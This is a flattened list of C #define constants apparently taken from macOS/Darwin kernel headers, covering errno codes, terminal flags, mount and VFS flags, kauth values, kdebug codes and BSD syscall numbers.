IOPOL_VFS_IGNORE_PERMISSIONS_OFF 0 #define IOPOL_VFS_IGNORE_PERMISSIONS_ON 1 #define IOPOL_VFS_SKIP_MTIME_UPDATE_OFF 0 #define IOPOL_VFS_SKIP_MTIME_UPDATE_ON 1 #define IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF 0 #define IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON 1 #define IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT 0 #define IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON 1 #define IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT 0 #define IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON 1 #define IOCPARM_MASK 0x1fff #define XATTR_NOFOLLOW 0x0001 #define XATTR_CREATE 0x0002 #define XATTR_REPLACE 0x0004 #define XATTR_NOSECURITY 0x0008 #define XATTR_NODEFAULT 0x0010 #define XATTR_SHOWCOMPRESSION 0x0020 #define XATTR_NOFOLLOW_ANY 0x0040 #define XATTR_MAXNAMELEN 127 #define PR_SLOWHZ 2 #define PRC_IFDOWN 0 #define PRC_ROUTEDEAD 1 #define PRC_IFUP 2 #define PRC_QUENCH2 3 #define PRC_QUENCH 4 #define PRC_MSGSIZE 5 #define PRC_HOSTDEAD 6 #define PRC_HOSTUNREACH 7 #define PRC_UNREACH_NET 8 #define PRC_UNREACH_HOST 9 #define PRC_UNREACH_PROTOCOL 10 #define PRC_UNREACH_PORT 11 #define PRC_UNREACH_SRCFAIL 13 #define PRC_REDIRECT_NET 14 #define PRC_REDIRECT_HOST 15 #define PRC_REDIRECT_TOSNET 16 #define PRC_REDIRECT_TOSHOST 17 #define PRC_TIMXCEED_INTRANS 18 #define PRC_TIMXCEED_REASS 19 #define PRC_PARAMPROB 20 #define PRC_UNREACH_ADMIN_PROHIB 21 #define PRC_NCMDS 22 #define KEV_CTL_SUBCLASS 2 #define KEV_CTL_REGISTERED 1 #define KEV_CTL_DEREGISTERED 2 #define MAX_KCTL_NAME 96 #define CTL_FLAG_PRIVILEGED 0x1 #define CTL_FLAG_REG_ID_UNIT 0x2 #define CTL_FLAG_REG_SOCK_STREAM 0x4 #define CTL_DATA_NOWAKEUP 0x1 #define CTL_DATA_EOR 0x2 #define __has_safe_buffers 0 #define __DARWIN_ONLY_64_BIT_INO_T 0 #define __DARWIN_ONLY_UNIX_CONFORMANCE 0 #define __DARWIN_ONLY_VERS_1050 0 #define __STDC_WANT_LIB_EXT1__ 1 #define __DARWIN_NO_LONG_LONG 0 #define _DARWIN_FEATURE_64_BIT_INODE 1 #define _DARWIN_FEATURE_ONLY_64_BIT_INODE 1 #define _DARWIN_FEATURE_ONLY_VERS_1050 1 #define _DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE 1 #define _DARWIN_FEATURE_UNIX_CONFORMANCE 3 #define __has_ptrcheck 0 #define MAXMAXPARTITIONS 22 #define NDDATA 5 #define NSPARE 5 #define DTYPE_SMD 1 #define DTYPE_MSCP 2 #define DTYPE_DEC 3 #define DTYPE_SCSI 4 #define DTYPE_ESDI 5 #define DTYPE_ST506 6 #define DTYPE_HPIB 7 #define DTYPE_HPFL 8 #define DTYPE_FLOPPY 10 #define FS_UNUSED 0 #define FS_SWAP 1 #define FS_V6 2 #define FS_V7 3 #define FS_SYSV 4 #define FS_V71K 5 #define FS_V8 6 #define FS_BSDFFS 7 #define FS_MSDOS 8 #define FS_BSDLFS 9 #define FS_OTHER 10 #define FS_HPFS 11 #define FS_ISO9660 12 #define FS_BOOT 13 #define FS_ADOS 14 #define FS_HFS 15 #define D_REMOVABLE 0x01 #define D_ECC 0x02 #define D_BADSECT 0x04 #define D_RAMDISK 0x08 #define D_CHAIN 0x10 #define D_SSE 0x1 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EDEADLK 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EAGAIN 35 #define EINPROGRESS 36 #define EALREADY 37 #define ENOTSOCK 38 #define EDESTADDRREQ 39 #define EMSGSIZE 40 #define EPROTOTYPE 41 #define ENOPROTOOPT 42 #define EPROTONOSUPPORT 43 #define ESOCKTNOSUPPORT 44 #define ENOTSUP 45 #define EPFNOSUPPORT 46 #define EAFNOSUPPORT 47 #define EADDRINUSE 48 #define EADDRNOTAVAIL 49 #define ENETDOWN 50 #define ENETUNREACH 51 #define ENETRESET 52 #define ECONNABORTED 53 #define ECONNRESET 54 #define ENOBUFS 55 #define EISCONN 56 #define ENOTCONN 57 #define ESHUTDOWN 58 #define ETOOMANYREFS 59 #define ETIMEDOUT 60 #define ECONNREFUSED 61 #define ELOOP 62 #define ENAMETOOLONG 63 #define EHOSTDOWN 64 #define EHOSTUNREACH 65 #define ENOTEMPTY 66 #define EPROCLIM 67 #define EUSERS 68 #define EDQUOT 69 #define ESTALE 70 #define EREMOTE 71 #define EBADRPC 72 #define ERPCMISMATCH 73 #define EPROGUNAVAIL 74 #define EPROGMISMATCH 75 #define EPROCUNAVAIL 76 #define ENOLCK 77 #define ENOSYS 78 #define EFTYPE 79 #define EAUTH 80 #define ENEEDAUTH 81 #define EPWROFF 82 #define EDEVERR 83 #define EOVERFLOW 84 #define EBADEXEC 85 #define EBADARCH 86 #define ESHLIBVERS 87 #define EBADMACHO 88 #define ECANCELED 89 #define EIDRM 90 #define ENOMSG 91 #define EILSEQ 92 #define ENOATTR 93 #define EBADMSG 94 #define EMULTIHOP 95 #define ENODATA 96 #define ENOLINK 97 #define ENOSR 98 #define ENOSTR 99 #define EPROTO 100 #define ETIME 101 #define EOPNOTSUPP 102 #define ENOPOLICY 103 #define ENOTRECOVERABLE 104 #define EOWNERDEAD 105 #define EQFULL 106 #define ELAST 106 #define VEOF 0 #define VEOL 1 #define VEOL2 2 #define VERASE 3 #define VWERASE 4 #define VKILL 5 #define VREPRINT 6 #define VINTR 8 #define VQUIT 9 #define VSUSP 10 #define VDSUSP 11 #define VSTART 12 #define VSTOP 13 #define VLNEXT 14 #define VDISCARD 15 #define VMIN 16 #define VTIME 17 #define VSTATUS 18 #define NCCS 20 #define IGNBRK 0x00000001 #define BRKINT 0x00000002 #define IGNPAR 0x00000004 #define PARMRK 0x00000008 #define INPCK 0x00000010 #define ISTRIP 0x00000020 #define INLCR 0x00000040 #define IGNCR 0x00000080 #define ICRNL 0x00000100 #define IXON 0x00000200 #define IXOFF 0x00000400 #define IXANY 0x00000800 #define IMAXBEL 0x00002000 #define IUTF8 0x00004000 #define OPOST 0x00000001 #define ONLCR 0x00000002 #define OXTABS 0x00000004 #define ONOEOT 0x00000008 #define OCRNL 0x00000010 #define ONOCR 0x00000020 #define ONLRET 0x00000040 #define OFILL 0x00000080 #define NLDLY 0x00000300 #define TABDLY 0x00000c04 #define CRDLY 0x00003000 #define FFDLY 0x00004000 #define BSDLY 0x00008000 #define VTDLY 0x00010000 #define OFDEL 0x00020000 #define TAB3 0x00000004 #define VT0 0x00000000 #define VT1 0x00010000 #define CIGNORE 0x00000001 #define CSIZE 0x00000300 #define CS5 0x00000000 #define CS6 0x00000100 #define CS7 0x00000200 #define CS8 0x00000300 #define CSTOPB 0x00000400 #define CREAD 0x00000800 #define PARENB 0x00001000 #define PARODD 0x00002000 #define HUPCL 0x00004000 #define CLOCAL 0x00008000 #define CCTS_OFLOW 0x00010000 #define CRTS_IFLOW 0x00020000 #define CDTR_IFLOW 0x00040000 #define CDSR_OFLOW 0x00080000 #define CCAR_OFLOW 0x00100000 #define ECHOKE 0x00000001 #define ECHOE 0x00000002 #define ECHOK 0x00000004 #define ECHONL 0x00000010 #define ECHOPRT 0x00000020 #define ECHOCTL 0x00000040 #define ISIG 0x00000080 #define ICANON 0x00000100 #define ALTWERASE 0x00000200 #define IEXTEN 0x00000400 #define EXTPROC 0x00000800 #define NOKERNINFO 0x02000000 #define TCSANOW 0 #define TCSADRAIN 1 #define TCSAFLUSH 2 #define TCSASOFT 0x10 #define B0 0 #define B50 50 #define B75 75 #define B110 110 #define B134 134 #define B150 150 #define B200 200 #define B300 300 #define B600 600 #define B1200 1200 #define B1800 1800 #define B2400 2400 #define B4800 4800 #define B9600 9600 #define B19200 19200 #define B38400 38400 #define B7200 7200 #define B14400 14400 #define B28800 28800 #define B57600 57600 #define B76800 76800 #define B115200 115200 #define B230400 230400 #define EXTA 19200 #define EXTB 38400 #define RENAME_SECLUDE 0x00000001 #define RENAME_SWAP 0x00000002 #define RENAME_EXCL 0x00000004 #define RENAME_RESERVED1 0x00000008 #define RENAME_NOFOLLOW_ANY 0x00000010 #define MFSNAMELEN 15 #define MFSTYPENAMELEN 16 #define MNAMELEN 90 #define MNT_EXT_ROOT_DATA_VOL 0x00000001 #define MNT_EXT_FSKIT 0x00000002 #define MNT_RDONLY 0x00000001 #define MNT_SYNCHRONOUS 0x00000002 #define MNT_NOEXEC 0x00000004 #define MNT_NOSUID 0x00000008 #define MNT_NODEV 0x00000010 #define MNT_UNION 0x00000020 #define MNT_ASYNC 0x00000040 #define MNT_CPROTECT 0x00000080 #define MNT_EXPORTED 0x00000100 #define MNT_REMOVABLE 0x00000200 #define MNT_QUARANTINE 0x00000400 #define MNT_LOCAL 0x00001000 #define MNT_QUOTA 0x00002000 #define MNT_ROOTFS 0x00004000 #define MNT_DOVOLFS 0x00008000 #define MNT_DONTBROWSE 0x00100000 #define MNT_IGNORE_OWNERSHIP 0x00200000 #define MNT_AUTOMOUNTED 0x00400000 #define MNT_JOURNALED 0x00800000 #define MNT_NOUSERXATTR 0x01000000 #define MNT_DEFWRITE 0x02000000 #define MNT_MULTILABEL 0x04000000 #define MNT_NOFOLLOW 0x08000000 #define MNT_NOATIME 0x10000000 #define MNT_SNAPSHOT 0x40000000 #define MNT_STRICTATIME 0x80000000 #define MNT_UPDATE 0x00010000 #define MNT_NOBLOCK 0x00020000 #define MNT_RELOAD 0x00040000 #define MNT_FORCE 0x00080000 #define VFS_GENERIC 0 #define VFS_NUMMNTOPS 1 #define VFS_MAXTYPENUM 1 #define VFS_CONF 2 #define MNT_WAIT 1 #define MNT_NOWAIT 2 #define MNT_DWAIT 4 #define MNT_VOLUME 8 #define VFS_CTL_VERS1 0x01 #define VFS_CTL_OSTATFS 0x00010001 #define VFS_CTL_UMOUNT 0x00010002 #define VFS_CTL_QUERY 0x00010003 #define VFS_CTL_NEWADDR 0x00010004 #define VFS_CTL_TIMEO 0x00010005 #define VFS_CTL_NOLOCKS 0x00010006 #define VFS_CTL_SADDR 0x00010007 #define VFS_CTL_DISC 0x00010008 #define VFS_CTL_SERVERINFO 0x00010009 #define VFS_CTL_NSTATUS 0x0001000A #define VFS_CTL_STATFS64 0x0001000B #define VQ_NOTRESP 0x0001 #define VQ_NEEDAUTH 0x0002 #define VQ_LOWDISK 0x0004 #define VQ_MOUNT 0x0008 #define VQ_UNMOUNT 0x0010 #define VQ_DEAD 0x0020 #define VQ_ASSIST 0x0040 #define VQ_NOTRESPLOCK 0x0080 #define VQ_UPDATE 0x0100 #define VQ_VERYLOWDISK 0x0200 #define VQ_SYNCEVENT 0x0400 #define VQ_SERVEREVENT 0x0800 #define VQ_QUOTA 0x1000 #define VQ_NEARLOWDISK 0x2000 #define VQ_DESIRED_DISK 0x4000 #define VQ_FREE_SPACE_CHANGE 0x8000 #define VQ_PURGEABLE_SPACE_CHANGE 0x10000 #define VQ_FLAG20000 0x20000 #define VFS_IOATTR_FLAGS_FUA 0x00000001 #define VFS_IOATTR_FLAGS_UNMAP 0x00000002 #define VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED 0x00000010 #define VFS_TBLTHREADSAFE 0x0001 #define VFS_TBLFSNODELOCK 0x0002 #define VFS_TBLNOTYPENUM 0x0008 #define VFS_TBLLOCALVOL 0x0010 #define VFS_TBL64BITREADY 0x0020 #define VFS_TBLNATIVEXATTR 0x0040 #define VFS_TBLDIRLINKS 0x0080 #define VFS_TBLUNMOUNT_PREFLIGHT 0x0100 #define VFS_TBLGENERICMNTARGS 0x0200 #define VFS_TBLREADDIR_EXTENDED 0x0400 #define VFS_TBLNOMACLABEL 0x1000 #define VFS_TBLVNOP_PAGEINV2 0x2000 #define VFS_TBLVNOP_PAGEOUTV2 0x4000 #define VFS_TBLVNOP_NOUPDATEID_RENAME 0x8000 #define VFS_TBLVNOP_SECLUDE_RENAME 0x10000 #define VFS_TBLCANMOUNTROOT 0x20000 #define VFSIOC_MOUNT_BYROLE_has_recovery 1 #define VFS_RETURNED 0 #define VFS_RETURNED_DONE 1 #define VFS_CLAIMED 2 #define VFS_CLAIMED_DONE 3 #define VFS_USER_EVENT 0 #define VFS_KERNEL_EVENT 1 #define LK_NOWAIT 1 #define NFSV4_MAX_FH_SIZE 128 #define NFSV3_MAX_FH_SIZE 64 #define NFSV2_MAX_FH_SIZE 32 #define CRYPTEX_AUTH_STRUCT_VERSION 2 #define EV_FD 1 #define EV_RE 1 #define EV_WR 2 #define EV_EX 4 #define EV_RM 8 #define EV_MASK 0xf #define EV_RBYTES 0x100 #define EV_WBYTES 0x200 #define EV_RCLOSED 0x400 #define EV_RCONN 0x800 #define EV_WCLOSED 0x1000 #define EV_WCONN 0x2000 #define EV_OOB 0x4000 #define EV_FIN 0x8000 #define EV_RESET 0x10000 #define EV_TIMEOUT 0x20000 #define EV_DMASK 0xffffff00 #define KDEBUG_LEVEL_NONE 0 #define KDEBUG_LEVEL_IST 1 #define KDEBUG_LEVEL_STANDARD 2 #define KDEBUG_LEVEL_FULL 3 #define KDBG_FLAG_FILTERED 0x01 #define KDBG_FLAG_NOPROCFILT 0x02 #define __DARWIN_LITTLE_ENDIAN 1234 #define __DARWIN_BIG_ENDIAN 4321 #define __DARWIN_PDP_ENDIAN 3412 #define USE_CLANG_TYPES 0 #define __DARWIN_NULL 0 #define UBC_PUSHDIRTY 0x01 #define UBC_PUSHALL 0x02 #define UBC_INVALIDATE 0x04 #define UBC_SYNC 0x08 #define KAUTH_NTSID_MAX_AUTHORITIES 16 #define KAUTH_EXTLOOKUP_SUCCESS 0 #define KAUTH_EXTLOOKUP_BADRQ 1 #define KAUTH_EXTLOOKUP_FAILURE 2 #define KAUTH_EXTLOOKUP_FATAL 3 #define KAUTH_EXTLOOKUP_INPROG 100 #define KAUTH_ACE_KINDMASK 0xf #define KAUTH_ACE_PERMIT 1 #define KAUTH_ACE_DENY 2 #define KAUTH_ACE_AUDIT 3 #define KAUTH_ACE_ALARM 4 #define KAUTH_ACL_MAX_ENTRIES 128 #define KAUTH_FILESEC_MAGIC 0x012cc16d #define KAUTH_ENDIAN_HOST 0x00000001 #define KAUTH_ENDIAN_DISK 0x00000002 #define KAUTH_GENERIC_ISSUSER 1 #define KAUTH_PROCESS_CANSIGNAL 1 #define KAUTH_PROCESS_CANTRACE 2 #define KAUTH_FILEOP_OPEN 1 #define KAUTH_FILEOP_CLOSE 2 #define KAUTH_FILEOP_RENAME 3 #define KAUTH_FILEOP_EXCHANGE 4 #define KAUTH_FILEOP_LINK 5 #define KAUTH_FILEOP_EXEC 6 #define KAUTH_FILEOP_DELETE 7 #define KAUTH_FILEOP_WILL_RENAME 8 #define DBG_PPT 36 #define DBG_PERFCTRL 39 #define DBG_CLPC 50 #define DBG_MUSE 52 #define DBG_ANS 128 #define DBG_SIO 129 #define DBG_SEP 130 #define DBG_ISP 131 #define DBG_OSCAR 132 #define DBG_EMBEDDEDGFX 133 #define DBG_PMP 134 #define DBG_RTKIT 135 #define DBG_DCP 136 #define DBG_KMP 137 #define DBG_SKYWALK_ALWAYSON 0x10 #define DBG_SKYWALK_FLOWSWITCH 0x11 #define DBG_SKYWALK_NETIF 0x12 #define DBG_SKYWALK_CHANNEL 0x13 #define DBG_SKYWALK_PACKET 0x14 #define DBG_AQM_ALWAYSON 0x30 #define DBG_AQM_STATS 0x31 #define PPT_TEST 0x01 #define PPT_JETSAM_HIWAT 0x02 #define PPT_JETSAM_TOPPROC 0x03 #define DBG_SEC_SSMA 0x02 #define KDBG_CPU_SHIFT 56 #define KDBG_INIT 0x01 #define KDBG_FREERUN 0x04 #define KDBG_CPUMAP_IS_IOP 0x1 #define KDEBUG_COMMPAGE_ENABLE_TRACE 0x1 #define KDEBUG_COMMPAGE_ENABLE_TYPEFILTER 0x2 #define KDEBUG_COMMPAGE_CONTINUOUS 0x4 #define KDBG_LOCKINIT 0x0080 #define KDBG_CLASSTYPE 0x10000 #define KDBG_SUBCLSTYPE 0x20000 #define KDBG_RANGETYPE 0x40000 #define KDBG_TYPENONE 0x80000 #define KDBG_CKTYPES 0xF0000 #define RAW_VERSION0 0x55aa0000 #define RAW_VERSION1 0x55aa0101 #define RAW_VERSION2 0x55aa0200 #define kEnTrCompKernel 2 #define kEnTrActKernSocket 1 #define kEnTrActKernSockRead 2 #define kEnTrActKernSockWrite 3 #define kEnTrActKernPoll 10 #define kEnTrActKernSelect 11 #define kEnTrActKernKQWait 12 #define kEnTrEvUnblocked 256 #define kEnTrFlagNonBlocking 0x1 #define kEnTrFlagNoWork 0x2 #define ENTR_SHOULDTRACE 0 #define SYS_syscall 0 #define SYS_exit 1 #define SYS_fork 2 #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 #define SYS_close 6 #define SYS_wait4 7 #define SYS_link 9 #define SYS_unlink 10 #define SYS_chdir 12 #define SYS_fchdir 13 #define SYS_mknod 14 #define SYS_chmod 15 #define SYS_chown 16 #define SYS_getfsstat 18 #define SYS_getpid 20 #define SYS_setuid 23 #define SYS_getuid 24 #define SYS_geteuid 25 #define SYS_ptrace 26 #define SYS_recvmsg 27 #define SYS_sendmsg 28 #define SYS_recvfrom 29 #define SYS_accept 30 #define SYS_getpeername 31 #define SYS_getsockname 32 #define SYS_access 33 #define SYS_chflags 34 #define SYS_fchflags 35 #define SYS_sync 36 #define SYS_kill 37 #define SYS_crossarch_trap 38 #define SYS_getppid 39 #define SYS_dup 41 #define SYS_pipe 42 #define SYS_getegid 43 #define SYS_sigaction 46 #define SYS_getgid 47 #define SYS_sigprocmask 48 #define SYS_getlogin 49 #define SYS_setlogin 50 #define SYS_acct 51 #define SYS_sigpending 52 #define SYS_sigaltstack 53 #define SYS_ioctl 54 #define SYS_reboot 55 #define SYS_revoke 56 #define SYS_symlink 57 #define SYS_readlink 58 #define SYS_execve 59 #define SYS_umask 60 #define SYS_chroot 61 #define SYS_msync 65 #define SYS_vfork 66 #define SYS_munmap 73 #define SYS_mprotect 74 #define SYS_madvise 75 #define SYS_mincore 78 #define SYS_getgroups 79 #define SYS_setgroups 80 #define SYS_getpgrp 81 #define SYS_setpgid 82 #define SYS_setitimer 83 #define SYS_swapon 85 #define SYS_getitimer 86 #define SYS_getdtablesize 89 #define SYS_dup2 90 #define SYS_fcntl 92 #define SYS_select 93 #define SYS_fsync 95 #define SYS_setpriority 96 #define SYS_socket 97 #define SYS_connect 98 #define SYS_getpriority 100 #define SYS_bind 104 #define SYS_setsockopt 105 #define SYS_listen 106 #define SYS_sigsuspend 111 #define SYS_gettimeofday 116 #define SYS_getrusage 117 #define SYS_getsockopt 118 #define SYS_readv 120 #define SYS_writev 121 #define SYS_settimeofday 122 #define SYS_fchown 123 #define SYS_fchmod 124 #define SYS_setreuid 126 #define SYS_setregid 127 #define SYS_rename 128 #define SYS_flock 131 #define SYS_mkfifo 132 #define SYS_sendto 133 #define SYS_shutdown 134 #define SYS_socketpair 135 #define SYS_mkdir 136 #define SYS_rmdir 137 #define SYS_utimes 138 #define SYS_futimes 139 #define SYS_adjtime 140 #define SYS_gethostuuid 142 #define SYS_setsid 147 #define SYS_getpgid 151 #define SYS_setprivexec 152 #define SYS_pread 153 #define SYS_pwrite 154 #define SYS_nfssvc 155 #define SYS_statfs 157 #define SYS_fstatfs 158 #define SYS_unmount 159 #define SYS_getfh 161 #define SYS_quotactl 165 #define SYS_mount 167 #define SYS_csops 169 #define SYS_csops_audittoken 170 #define SYS_waitid 173 #define SYS_kdebug_typefilter 177 #define SYS_kdebug_trace_string 178 #define SYS_kdebug_trace64 179 #define SYS_kdebug_trace 180 #define SYS_setgid 181 #define SYS_setegid 182 #define SYS_seteuid 183 #define SYS_sigreturn 184 #define SYS_panic_with_data 185 #define SYS_thread_selfcounts 186 #define SYS_fdatasync 187 #define SYS_stat 188 #define SYS_fstat 189 #define SYS_lstat 190 #define SYS_pathconf 191 #define SYS_fpathconf 192 #define SYS_getrlimit 194 #define SYS_setrlimit 195 #define SYS_getdirentries 196 #define SYS_mmap 197 #define SYS_lseek 199 #define SYS_truncate 200 #define SYS_ftruncate 201 #define SYS_sysctl 202 #define SYS_mlock 203 #define SYS_munlock 204 #define SYS_undelete 205 #define SYS_open_dprotected_np 216 #define SYS_fsgetpath_ext 217 #define SYS_openat_dprotected_np 218 #define SYS_getattrlist 220 #define SYS_setattrlist 221 #define SYS_getdirentriesattr 222 #define SYS_exchangedata 223 #define SYS_searchfs 225 #define SYS_delete 226 #define SYS_copyfile 227 #define SYS_fgetattrlist 228 #define SYS_fsetattrlist 229 #define SYS_poll 230 #define SYS_getxattr 234 #define SYS_fgetxattr 235 #define SYS_setxattr 236 #define SYS_fsetxattr 237 #define SYS_removexattr 238 #define SYS_fremovexattr 239 #define SYS_listxattr 240 #define SYS_flistxattr 241 #define SYS_fsctl 242 #define SYS_initgroups 243 #define SYS_posix_spawn 244 #define SYS_ffsctl 245 #define SYS_fhopen 248 #define SYS_minherit 250 #define SYS_semsys 251 #define SYS_msgsys 252 #define SYS_shmsys 253 #define SYS_semctl 254 #define SYS_semget 255 #define SYS_semop 256 #define SYS_msgctl 258 #define SYS_msgget 259 #define SYS_msgsnd 260 #define SYS_msgrcv 261 #define SYS_shmat 262 #define SYS_shmctl 263 #define SYS_shmdt 264 #define SYS_shmget 265 #define SYS_shm_open 266 #define SYS_shm_unlink 267 #define SYS_sem_open 268 #define SYS_sem_close 269 #define SYS_sem_unlink 270 #define SYS_sem_wait 271 #define SYS_sem_trywait 272 #define SYS_sem_post 273 #define SYS_sysctlbyname 274 #define SYS_open_extended 277 #define SYS_umask_extended 278 #define SYS_stat_extended 279 #define SYS_lstat_extended 280 #define SYS_fstat_extended 281 #define SYS_chmod_extended 282 #define SYS_fchmod_extended 283 #define SYS_access_extended 284 #define SYS_settid 285 #define SYS_gettid 286 #define SYS_setsgroups 287 #define SYS_getsgroups 288 #define SYS_setwgroups 289 #define SYS_getwgroups 290 #define SYS_mkfifo_extended 291 #define SYS_mkdir_extended 292 #define SYS_identitysvc 293 #define SYS_shared_region_check_np 294 #define SYS_vm_pressure_monitor 296 #define SYS_psynch_rw_longrdlock 297 #define SYS_psynch_rw_yieldwrlock 298 #define SYS_psynch_rw_downgrade 299 #define SYS_psynch_rw_upgrade 300 #define SYS_psynch_mutexwait 301 #define SYS_psynch_mutexdrop 302 #define SYS_psynch_cvbroad 303 #define SYS_psynch_cvsignal 304 #define SYS_psynch_cvwait 305 #define SYS_psynch_rw_rdlock 306 #define SYS_psynch_rw_wrlock 307 #define SYS_psynch_rw_unlock 308 #define SYS_psynch_rw_unlock2 309 #define SYS_getsid 310 #define SYS_settid_with_pid 311 #define SYS_psynch_cvclrprepost 312 #define SYS_aio_fsync 313 #define SYS_aio_return 314 #define SYS_aio_suspend 315 #define SYS_aio_cancel 316 #define SYS_aio_error 317 #define SYS_aio_read 318 #define SYS_aio_write 319 #define SYS_lio_listio 320 #define SYS_iopolicysys 322 #define SYS_process_policy 323 #define SYS_mlockall 324 #define SYS_munlockall 325 #define SYS_issetugid 327 #define SYS___pthread_kill 328 #define SYS___pthread_sigmask 329 #define SYS___sigwait 330 #define SYS___disable_threadsignal 331 #define SYS___pthread_markcancel 332 #define SYS___pthread_canceled 333 #define SYS___semwait_signal 334 #define SYS_proc_info 336 #define SYS_sendfile 337 #define SYS_stat64 338 #define SYS_fstat64 339 #define SYS_lstat64 340 #define SYS_stat64_extended 341 #define SYS_lstat64_extended 342 #define SYS_fstat64_extended 343 #define SYS_getdirentries64 344 #define SYS_statfs64 345 #define SYS_fstatfs64 346 #define SYS_getfsstat64 347 #define SYS___pthread_chdir 348 #define SYS___pthread_fchdir 349 #define SYS_audit 350 #define SYS_auditon 351 #define SYS_getauid 353 #define SYS_setauid 354 #define SYS_getaudit_addr 357 #define SYS_setaudit_addr 358 #define SYS_auditctl 359 #define SYS_bsdthread_create 360 #define SYS_bsdthread_terminate 361 #define SYS_kqueue 362 #define SYS_kevent 363 #define SYS_lchown 364 #define SYS_bsdthread_register 366 #define SYS_workq_open 367 #define SYS_workq_kernreturn 368 #define SYS_kevent64 369 #define SYS_thread_selfid 372 #define SYS_ledger 373 #define SYS_kevent_qos 374 #define SYS_kevent_id 375 #define SYS___mac_execve 380 #define SYS___mac_syscall 381 #define SYS___mac_get_file 382 #define SYS___mac_set_file 383 #define SYS___mac_get_link 384 #define SYS___mac_set_link 385 #define SYS___mac_get_proc 386 #define SYS___mac_set_proc 387 #define SYS___mac_get_fd 388 #define SYS___mac_set_fd 389 #define SYS___mac_get_pid 390 #define SYS_pselect 394 #define SYS_pselect_nocancel 395 #define SYS_read_nocancel 396 #define SYS_write_nocancel 397 #define SYS_open_nocancel 398 #define SYS_close_nocancel 399 #define SYS_wait4_nocancel 400 #define SYS_recvmsg_nocancel 401 #define SYS_sendmsg_nocancel 402 #define SYS_recvfrom_nocancel 403 #define SYS_accept_nocancel 404 #define SYS_msync_nocancel 405 #define SYS_fcntl_nocancel 406 #define SYS_select_nocancel 407 #define SYS_fsync_nocancel 408 #define SYS_connect_nocancel 409 #define SYS_sigsuspend_nocancel 410 #define SYS_readv_nocancel 411 #define SYS_writev_nocancel 412 #define SYS_sendto_nocancel 413 #define SYS_pread_nocancel 414 #define SYS_pwrite_nocancel 415 #define SYS_waitid_nocancel 416 #define SYS_poll_nocancel 417 #define SYS_msgsnd_nocancel 418 #define SYS_msgrcv_nocancel 419 #define SYS_sem_wait_nocancel 420 #define SYS_aio_suspend_nocancel 421 #define SYS___sigwait_nocancel 422 #define SYS___semwait_signal_nocancel 423 #define SYS___mac_mount 424 #define SYS___mac_get_mount 425 #define SYS___mac_getfsstat 426 #define SYS_fsgetpath 427 #define SYS_audit_session_self 428 #define SYS_audit_session_join 429 #define SYS_fileport_makeport 430 #define SYS_fileport_makefd 431 #define SYS_audit_session_port 432 #define SYS_pid_suspend 433 #define SYS_pid_resume 434 #define SYS_pid_hibernate 435 #define SYS_pid_shutdown_sockets 436 #define SYS_kas_info 439 #define SYS_memorystatus_control 440 #define SYS_guarded_open_np 441 #define SYS_guarded_close_np 442 #define SYS_guarded_kqueue_np 443 #define SYS_change_fdguard_np 444 #define SYS_usrctl 445 #define SYS_proc_rlimit_control 446 #define SYS_connectx 447 #define SYS_disconnectx 448 #define SYS_peeloff 449 #define SYS_socket_delegate 450 #define SYS_telemetry 451 #define SYS_proc_uuid_policy 452 #define SYS_memorystatus_get_level 453 #define SYS_system_override 454 #define SYS_vfs_purge 455 #define SYS_sfi_ctl 456 #define SYS_sfi_pidctl 457 #define SYS_coalition 458 #define SYS_coalition_info 459 #define SYS_necp_match_policy 460 #define SYS_getattrlistbulk 461 #define SYS_clonefileat 462 #define SYS_openat 463 #define SYS_openat_nocancel 464 #define SYS_renameat 465 #define SYS_faccessat 466 #define SYS_fchmodat 467 #define SYS_fchownat 468 #define SYS_fstatat 469 #define SYS_fstatat64 470 #define SYS_linkat 471 #define SYS_unlinkat 472 #define SYS_readlinkat 473 #define SYS_symlinkat 474 #define SYS_mkdirat 475 #define SYS_getattrlistat 476 #define SYS_proc_trace_log 477 #define SYS_bsdthread_ctl 478 #define SYS_openbyid_np 479 #define SYS_recvmsg_x 480 #define SYS_sendmsg_x 481 #define SYS_thread_selfusage 482 #define SYS_csrctl 483 #define SYS_guarded_open_dprotected_np 484 #define SYS_guarded_write_np 485 #define SYS_guarded_pwrite_np 486 #define SYS_guarded_writev_np 487 #define SYS_renameatx_np 488 #define SYS_mremap_encrypted 489 #define SYS_netagent_trigger 490 #define SYS_stack_snapshot_with_config 491 #define SYS_microstackshot 492 #define SYS_grab_pgo_data 493 #define SYS_persona 494 #define SYS_mach_eventlink_signal 496 #define SYS_mach_eventlink_wait_until 497 #define SYS_mach_eventlink_signal_wait_until 498 #define SYS_work_interval_ctl 499 #define SYS_getentropy 500 #define SYS_necp_open 501 #define SYS_necp_client_action 502 #define SYS___nexus_open 503 #define SYS___nexus_register 504 #define SYS___nexus_deregister 505 #define SYS___nexus_create 506 #define SYS___nexus_destroy 507 #define SYS___nexus_get_opt 508 #define SYS___nexus_set_opt 509 #define SYS___channel_open 510 #define SYS___channel_get_info 511 #define SYS___channel_sync 512 #define SYS___channel_get_opt 513 #define SYS___channel_set_opt 514 #define SYS_ulock_wait 515 #define SYS_ulock_wake 516 #define SYS_fclonefileat 517 #define SYS_fs_snapshot 518 #define SYS_register_uexc_handler 519 #define SYS_terminate_with_payload 520 #define SYS_abort_with_payload 521 #define SYS_necp_session_open 522 #define SYS_necp_session_action 523 #define SYS_setattrlistat 524 #define SYS_net_qos_guideline 525 #define SYS_fmount 526 #define SYS_ntp_adjtime 527 #define SYS_ntp_gettime 528 #define SYS_os_fault_with_payload 529 